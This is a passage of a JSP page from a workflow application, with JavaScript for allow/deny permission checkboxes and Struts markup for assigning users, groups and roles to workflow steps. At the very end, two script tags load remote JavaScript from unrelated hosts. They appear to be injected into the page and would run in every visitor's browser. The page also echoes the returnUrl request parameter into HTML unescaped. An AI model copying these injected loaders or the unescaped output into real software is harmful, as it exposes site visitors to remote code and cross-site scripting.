	
	  if (elm.name.toLowerCase() == elm.name) {
	    // Check "deny" box.
	    if (elm.checked) {
	      var tmpStr = elm.name.substring(0, elm.name.length - 1);
	      tmpStr += elm.name.charAt(elm.name.length - 1).toUpperCase();
	      elm.form.elements[tmpStr].checked = false;
	    }
	  } 
	  else {
	    // Check "allow" box.
	    if (elm.checked) {
	      var tmpStr = elm.name.toLowerCase();
	      elm.form.elements[tmpStr].checked = false;
	    }indexcheck
		var elm=eval("permForm.permission_" +indexcheck +"_r");
		var elm1=eval("permForm.permission_" +indexcheck +"_R");
	    if (elm) {	      
	      elm.checked=false;	      
	      elm1.checked=true;
	    }
	  } 		
  if (elm.name.charAt(elm.name.length - 1) == 'r' && elm.checked) {  		
    var allPerm = defaultValue;    
    for (var i=0; i<allPerm.length; i++) {
      var elm = eval("permForm.permission_" +indexcheck +"_"+ allPerm.charAt(i));      
      if (elm) {
        elm.checked = false;
      }
      elm = eval("permForm.permission_" +indexcheck+"_" + allPerm.charAt(i).toLowerCase());
      if (elm) {
        elm.checked = true;
      }
    }
  }
  return(true);
}

function savePermission() {
  var result = "";
  for (var i = 0; i < allPermissionAry.length; i++) {
    for (var j = 0; j < allPermissionAry[i].length; j++) {
      if (j == allPermissionAry[i].length - 1) {
        result += allPermissionAry[i][j] + "\n";
      } else {
        result += allPermissionAry[i][j] + "\t";
      }
    }
  }
  permForm.allPermissionData.value = result;
}

function permissionOpSave() {
  savePermission();
  return(OpSave());
}

function permissionOpSaveAndNew() {
  savePermission();
  return(OpSaveAndNew());
}

function togglePermissionAllowAll() {
  if (activeRow == null) {
    return(false);
  }

  var isAllChecked = true;

  for (var i = 0; i < permForm.elements.length; i++) {
    if (permForm.elements[i].type == "checkbox" && permForm.elements[i].name.indexOf("permission_") == 0 && !permForm.elements[i].checked) {
      var permStr = permForm.elements[i].name.substring(11);
      if (permStr.toUpperCase() == permStr) {
        isAllChecked = false;
        break;
      }
    }
  }

  for (var i = 0; i < permForm.elements.length; i++) {
    if (permForm.elements[i].type == "checkbox" && permForm.elements[i].name.indexOf("permission_") == 0) {
      var permStr = permForm.elements[i].name.substring(11);
      if (permStr.toUpperCase() == permStr) {
        if (isAllChecked && permStr != defaultValue) {
          permForm.elements[i].checked = false;
        } else {
          permForm.elements[i].checked = true;
        }
      } else if (permStr.toLowerCase() == permStr) {
        permForm.elements[i].checked = false;
      }
    }
  }

  return(false);
}

function togglePermissionDenyAll() {
  if (activeRow == null) {
    return(false);
  }

  var isAllChecked = true;

  for (var i = 0; i < permForm.elements.length; i++) {
    if (permForm.elements[i].type == "checkbox" && permForm.elements[i].name.indexOf("permission_") == 0 && !permForm.elements[i].checked) {
      var permStr = permForm.elements[i].name.substring(11);
      if (permStr.toLowerCase() == permStr) {
        isAllChecked = false;
        break;
      }
    }
  }

  for (var i = 0; i < permForm.elements.length; i++) {
    if (permForm.elements[i].type == "checkbox" && permForm.elements[i].name.indexOf("permission_") == 0) {
      var permStr = permForm.elements[i].name.substring(11);
      if (permStr.toLowerCase() == permStr) {
        if (isAllChecked) {
          permForm.elements[i].checked = false;
        } else {
          permForm.elements[i].checked = true;
        }
      } else if (permStr.toUpperCase() == permStr) {
        if (isAllChecked && permStr == defaultValue) {
          permForm.elements[i].checked = true;
        } else {
          permForm.elements[i].checked = false;
        }
      }
    }
  }

  return(false);
}

  function OpClose() {
  	if (window.opener) {
  	  window.opener.location.href='<%=request.getContextPath()%>/workflow/ListWorkflowTask.do?opMode=LRETAIN';
  	  window.close();
  	} else {
  	  window.location.href='<%=request.getContextPath()%>/workflow/ListWorkflowTask.do';
  	}
  }
  
  function CustOpSave() {
    var frm = document.maintWorkflowProgressForm;
    var hasExePermission;
    if (!frm) {
      for (var i = 0; i < document.forms.length; i++) {
        if (document.forms[i].name != "") {
          frm = document.forms[i];
          break;
        }
      }
    }
    var progressIDAry;
    var fullProgressIDAry = (frm.workflowProgress.value).split(";");
    for (var h = 0; h < fullProgressIDAry.length; h++) {
	    if (fullProgressIDAry[h]!=""){
	     var result="";
	     var hasExePermission = "N";
		    for (var i = 0; i < allPermissionAry.length; i++) {
			    if (fullProgressIDAry[h]==allPermissionAry[i].key) {
			      for (var j = 0; j < (allPermissionAry[i].value).length; j++) {
			        if (j == (allPermissionAry[i].value).length - 1) {
			          result += (allPermissionAry[i].value)[j] + "\n";
			        } else {
			          result += (allPermissionAry[i].value)[j] + "\t";
			        }
			      }
			      
			      if ((allPermissionAry[i].value)[3].indexOf("W") >= 0 && hasExePermission!="Y") {
			        hasExePermission="Y";
			      }
			    }
		    }
		    if (result=="") {
		    alert("<bean:message key='workflow.message.progress_owner_is_required'/>");
		    //showTab(fullProgressIDAry[h],frm);
		    return false;
		    }
		    if ("Y"!=hasExePermission ){
		      alert("<bean:message key='workflow.message.no_owner_have_execute_permission'/>");
		      //showTab(fullProgressIDAry[h],frm);
		      return false;
		    }
		    var elm = eval("frm.allPermissionData_"  + fullProgressIDAry[h]);
		    elm.value=result;
		    frm.workflowProgressID.value=fullProgressIDAry[h];
		    
		    WorkflowAjaxProcessor.checkWorkflowStepRule(checkRuleResult, result,frm.workflowRule.value); 
	    } 
    }
    // end get
    
  }
  
	function checkRuleResult(data){
		if(data.length!=0){
			if (!checkRulerFail(data)) {
				return false;
			}
		}
		
		return OpSave();
	}
	
	function checkRulerFail(data){
		
		var goOn = confirm(data + ' <bean:message key="errors.workflow.rule_too_big"/>');
		
		if (goOn) {
			return true;
		}
		
		return false;
	}

  function selectList(listName) {
    var obj = eval("document.maintWorkflowProgressForm."+listName);
    if (!obj){
    } else if (obj.value) {
      obj.checked = true;
    } else {
      for (var i=0; i<obj.length; i++) {
        obj[i].checked = true;
      }
    }
    return false;
  }

  function unselectList(listName) {
    var obj = eval("document.maintWorkflowProgressForm."+listName);
    if (!obj){
    } else if (obj.value) {
      obj.checked = false;
    } else {
      for (var i=0; i<obj.length; i++) {
        obj[i].checked = false;
      }
    }
    return false;
  }

<%if(SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(workflowCategoryID) ){%>
  function disableOther(userType) {
    for ( i = 0 ; i < userType.form.elements.length ; i++ ) {
      if ( userType.form.elements[i].name != userType.name && userType.form.elements[i].type=='radio' ) {
        userType.form.elements[i].checked = false;
      }
    }
  }
<%}%>

	function hideBlock(b) {
    FindObj(b).style.display = "none";
  }

  function showBlock(b) {
    FindObj(b).style.display = "block";
  }

  function toggleBlock(b) {
    if(FindObj(b).style.display == "block" || FindObj(b).style.display == "") {
      hideBlock(b);
    } else {
      showBlock(b);
    }
  }
-->
</script>
<html:form action="workflow/MaintWorkflowAssignProgressUser" styleClass="form-style-2">
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
   HashMap stepMap = (HashMap) ((request.getAttribute("assignStepMap")!=null)? request.getAttribute("assignStepMap") : request.getSession().getAttribute("assignStepMap"));
   HashMap userListMap = (HashMap) request.getAttribute("userListMap");
   HashMap userGroupListMap = (HashMap) request.getAttribute("userGroupListMap");
   HashMap userRoleListMap = (HashMap) request.getAttribute("userRoleListMap");
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

  String navMode = request.getParameter("navMode");
  String functionType = "workflow.label.assign_user_for_next_task";
  String lyrBgColor= "#FFFFFF";
  if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {
    lyrBgColor = "#EEEEEE";
  }

  String returnUrl = null;
  if(!Utility.isEmpty(request.getParameter("returnUrl")) ){
    returnUrl = request.getParameter("returnUrl");
  } else if(!Utility.isEmpty(request.getAttribute("returnUrl")) ){
    returnUrl = (String)request.getAttribute("returnUrl");
  }
  ////////////////////king----add
  Integer STAFF_HIERARCHY_LEVEL = SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.STAFF_HIERARCHY_LEVEL);

  String[][]  FILTER_BY_MAP = new String[2+STAFF_HIERARCHY_LEVEL.intValue()][2];

  String  sCurrentStepID=request.getParameter("currentWorkflowStepID");
  if(Utility.isEmpty(sCurrentStepID)){
    sCurrentStepID = maintWorkflowProgressForm.getWorkflowStepID();
  }

  FILTER_BY_MAP[0][0] = "setup.label.subject_type_G";
  FILTER_BY_MAP[0][1] = "-1";
  FILTER_BY_MAP[1][0] = "setup.label.subject_type_R";
  FILTER_BY_MAP[1][1] = "-2";
  for (int i=2; i< STAFF_HIERARCHY_LEVEL.intValue()+2; i++){
    FILTER_BY_MAP[i][0] = "staff.label.hierarchy_level_"+String.valueOf(i-1);
    FILTER_BY_MAP[i][1] = String.valueOf(i-1);
  }
  //////////king----add-------end
  
  String returnURL = request.getContextPath()+"/workflow/ListWorkflowTask.do";
%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='status'/>
<input type=hidden name="returnUrl" value="<%=returnUrl%>">
<%if(workflowCategoryID!=null){%>
<input type=hidden name="workflowCategoryID" value="<%=workflowCategoryID%>">
<%}%>
<input type=hidden name="workflowProgressID" value="">
<input type=hidden name="oldStatus" value='<%=(String)request.getAttribute("oldStatus")%>'>




<layout:tabContainer id="tab1">
 <layout:tabBar>
 <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
   		<%
   			Set keySetCount = stepMap.keySet();
  			Iterator iteratorCount = keySetCount.iterator();
  			int stepCount=0;
  			while(iteratorCount.hasNext()){
  				iteratorCount.next();
  				stepCount++;
  			}
  			
  			Set keySet2 = stepMap.keySet();
  			Iterator iterator2 = keySet2.iterator();
  			int stepI2=0;
  			boolean selected = false;
  			boolean visibility=true;
  			
  			String stepName2=null;
  			while(iterator2.hasNext()){
  				Integer stepID2 = (Integer) iterator2.next();
  				WorkflowProgress workflowProgress2 = (WorkflowProgress) stepMap.get(stepID2);
    			WorkflowStep workflowStep2 = workflowProgress2.getWorkflowStepSource();
    			stepName2=workflowStep2.getStepName();
    			if(stepName2.length()>20){
    				stepName2=stepName2.substring(0,17)+"...";
    			}
    			if(stepI2==0){
    			  selected = true;
    			}
    			if(stepI2==0&&!iterator2.hasNext()){
    			 //only have one panne
    			  visibility = false;
    			}
   		%>
	   	     <layout:tabPane id='<%="basicTab"+stepI2%>' title="<%=stepName2%>" isKey="false" selected="<%=selected%>" visibility="<%=visibility%>"/>
      <%
      		stepI2++;
      	}
      %>
</layout:tabBar>
<!--================tabBar end=============================-->

<%
  Set keySet = stepMap.keySet();
  Iterator iterator = keySet.iterator();
  String stepIDStr = null;
  String wfProgressIDs = "";
  int stepI=0;
  String stepName=null;
  int count = 0;
  while (iterator.hasNext()) {
    stepIDStr = null;
    count++;
    Integer stepID = (Integer) iterator.next();
    WorkflowProgress workflowProgress = (WorkflowProgress) stepMap.get(stepID);
    wfProgressIDs += workflowProgress.getID().toString()+";";
    WorkflowStep workflowStep = workflowProgress.getWorkflowStepSource();
    stepName=workflowStep.getStepName();
    Integer trackID=workflowProgress.getTrackID();
    List userList = (ArrayList) userListMap.get(stepID);
    List userGroupList = (ArrayList) userGroupListMap.get(stepID);
    List userRoleList = (ArrayList) userRoleListMap.get(stepID);
   
	  if(Utility.isEmpty(stepIDStr) && !Utility.isEmpty(stepID)){
	    stepIDStr = ""+stepID.intValue();
	  }
%>

   	<!-- ==============begin of Tab============== -->
   	
   		<input type=hidden name="workflowStepID" value="<%=stepIDStr%>">
		
		<div id='<%="basicTab"+stepI%>' class="tabContent">			
		<table width="100%">
		<layout:sectionHeader name="workflow.label.assign_user_for_next_task" mandatory="false"/>
  		<tr>
  		<td><table border="0" cellspacing="0">
  		    <td class="formLabelSmall"><bean:message key="workflow.label.track_id"/></td>
  		    <td class="formFieldSmall">
  		    <%
  		    Set keySet1 = stepMap.keySet();
            Iterator iterator1 = keySet1.iterator();
            int stepI1=0;
            if (iterator1.hasNext()) {  
            Integer stepID1 = (Integer) iterator1.next();
            WorkflowProgress workflowProgress1 = (WorkflowProgress) stepMap.get(stepID1);
            Integer trackID1=workflowProgress1.getTrackID();
            if ((trackID1!=null)){
            %>
            <%=TextUtility.formatNumberWithZeroPrefix(SystemParameterFactory.getSystemParameterInteger(SystemParameterConstant.WORKLFLOW_TRACK_ID_FORMAT_LENGTH).intValue(), trackID1)%>
		    <%} 
	        }%>
	        </td>
  		</tr>
  		<tr>
		    <td class="formLabelSmall"><bean:message key='workflow.label.step_name'/>:</td>
		    <td class="formFieldSmall">
		    <a href="#" onclick="return OpenCenteredPopup('<%=request.getContextPath()%>/workflow/MaintWorkflowProgress.do?navMode=V&trackID=<%=(workflowProgress).getTrackID()%>&workflowStepID=<%=workflowStep.getID()%>','DCIVisionProgressView',630, 300, 'scrollbars=yes')" >
			<html:img src='IconPopupSearch.gif' /></a>&nbsp;
			<%=workflowStep.getStepName()%>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
			<bean:message key='workflow.label.filter_by'/>
				 
				 <!--  comment for bug EIP-1053  -->
			     <%//if(request.getAttribute("update")==null){%>
				    <!-- <select  name='filterBy' onchange='javascript:document.maintWorkflowProgressForm.submit();'> -->
			     <%//}else{%>
			     	<select disabled="true"  name='filterBy' >
			     <%//}%>
			     	<option value=""><bean:message key="common.options.select_menu.select_one"/></option>
			     	<%String filterBy = request.getParameter("filterBy");
			     	if(Utility.isEmpty(filterBy)){
			     	  if(!Utility.isEmpty(workflowStep.getFilterBy())){
			     	    filterBy = workflowStep.getFilterBy().toString();
			     	  }
			     	}
			     	for(int i=0;i<FILTER_BY_MAP.length;i++){
			     		if(FILTER_BY_MAP[i][1].equals(String.valueOf(filterBy))){			     		
			     	%>
			     		<option selected value=<%=FILTER_BY_MAP[i][1]%>><bean:message key='<%=FILTER_BY_MAP[i][0]%>'/></option>
			     		<%}else{%>
			     			<option  value=<%=FILTER_BY_MAP[i][1]%>><bean:message key='<%=FILTER_BY_MAP[i][0]%>'/></option>
			     		<%}%>
		            <%}%>
				</select>
    	         <bean:message key='workflow.label.of_workflow_submitter'/>
		    </td>		    	            
  		</tr>
		  <tr>
		    <td class="formLabelSmall"><bean:message key='workflow.label.workflow_rule'/>:</td>
		    <td class="formFieldSmall">
		    <%=workflowStep.getWorkflowRule()%>&nbsp;<bean:message key='workflow.label.rule_desc'/>
		    <input type="hidden" name="workflowRule" value="<%=workflowStep.getWorkflowRule()%>">
		    </td>
		  </tr>
		</table>
		</td>
		</tr>
		<%if(!SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(workflowCategoryID) || ( Utility.isEmpty(request.getParameter("progressUser")) && Utility.isEmpty(request.getParameter("progressGroup"))         && Utility.isEmpty(request.getParameter("progressRole")))){
          // If the category is paper document and is finished the assigned owner progressed, go to the else section
					
          String currentOwnerLimit = "10000"; 
          if (SystemWorkflowConstant.DMS_PAPER_DOCUMENT.equals(workflowCategoryID)) {
          	currentOwnerLimit = "1";
          }
        %>    
		<layout:sectionHeader blackLine="false" mandatory='false' legendType='USER_TYPE'/>
  		<tr>
		    <td colspan="2" style="padding-left:10px;">
		    <table border="0" width="100%">
		    <tr><td class="dataField">
			    <wfm:permissionSetup enableOthers="false" permissionType="RW" ownerLimit="<%=currentOwnerLimit%>" isAssignOwner="true" postFix="<%=(workflowProgress.getID()).toString()%>"/>
			        
			       <script language='javaScript'>
			       <!--
			       initVariable(document.maintWorkflowProgressForm, '<%=(workflowProgress.getID()).toString()%>');
			       -->
			       </script>
			    </td>
			    </tr>
			    </table>
			  </td>
			 </tr>
      	<%}else{
      	//Its a DMS_PAPER_DOCUMENT type after assigned owner and number of owner assumed to be one and only one
	          String displayName = "-";
	          if ( !Utility.isEmpty ( request.getParameter("progressUser") ) ) {
	            for (int i=0; i<userList.size(); i++) {
	              UserRecord tmpUser = (UserRecord) userList.get(i);
	              String checkboxOptionValue = workflowProgress.getID()+"_"+tmpUser.getID();
	              if ( checkboxOptionValue.equals(request.getParameter("progressUser"))) {
	                displayName = tmpUser.getFullName();
	                break;
	              }
	            }
	          } else if ( !Utility.isEmpty ( request.getParameter("progressGroup") ) ) {
	            for (int i=0; i<userGroupList.size(); i++) {
	              UserGroup tmpGroup = (UserGroup) userGroupList.get(i);
	              String checkboxOptionValue = workflowProgress.getID()+"_"+tmpGroup.getID();
	              if ( checkboxOptionValue.equals(request.getParameter("progressGroup"))) {
	                displayName = tmpGroup.getGroupName();
	                break;
	              }
	            }
	          } else if ( !Utility.isEmpty ( request.getParameter("progressRole") ) ) {
	            for (int i=0; i<userRoleList.size(); i++) {
	              UserRole tmpRole = (UserRole) userRoleList.get(i);
	              String checkboxOptionValue = workflowProgress.getID()+"_"+tmpRole.getID();
	              if ( checkboxOptionValue.equals(request.getParameter("progressRole"))) {
	                displayName = tmpRole.getRoleName();
	                break;
	              }
	            }
	          }%>
	           <tr>
	           <td colspan="2">
      			<%=displayName%>
				</td>
  		     </tr>
  		<%}%>
  		
		</table>		
		</div>
    <%
		stepI++;
	}%>
	<input type="hidden" name="workflowProgress" value="<%=wfProgressIDs%>">
 	<!-- ================end of Tab====================================== -->
 	</layout:tabContainer>
 	
  <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
    	<html:standardButton label="common.label.complete" onClick="return CustOpSave();"/>
    <%}%>
    <%
      if (request.getAttribute("SHOW_HEADER_FOOTER")!=null){
        if(("N").equals((String)(request.getAttribute("SHOW_HEADER_FOOTER")))){
    %>
    <html:standardButton label="common.label.close" onClick="javascript:OpClose();"/>
    <%  }
      }
    %>
   </div>
  </div>
</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>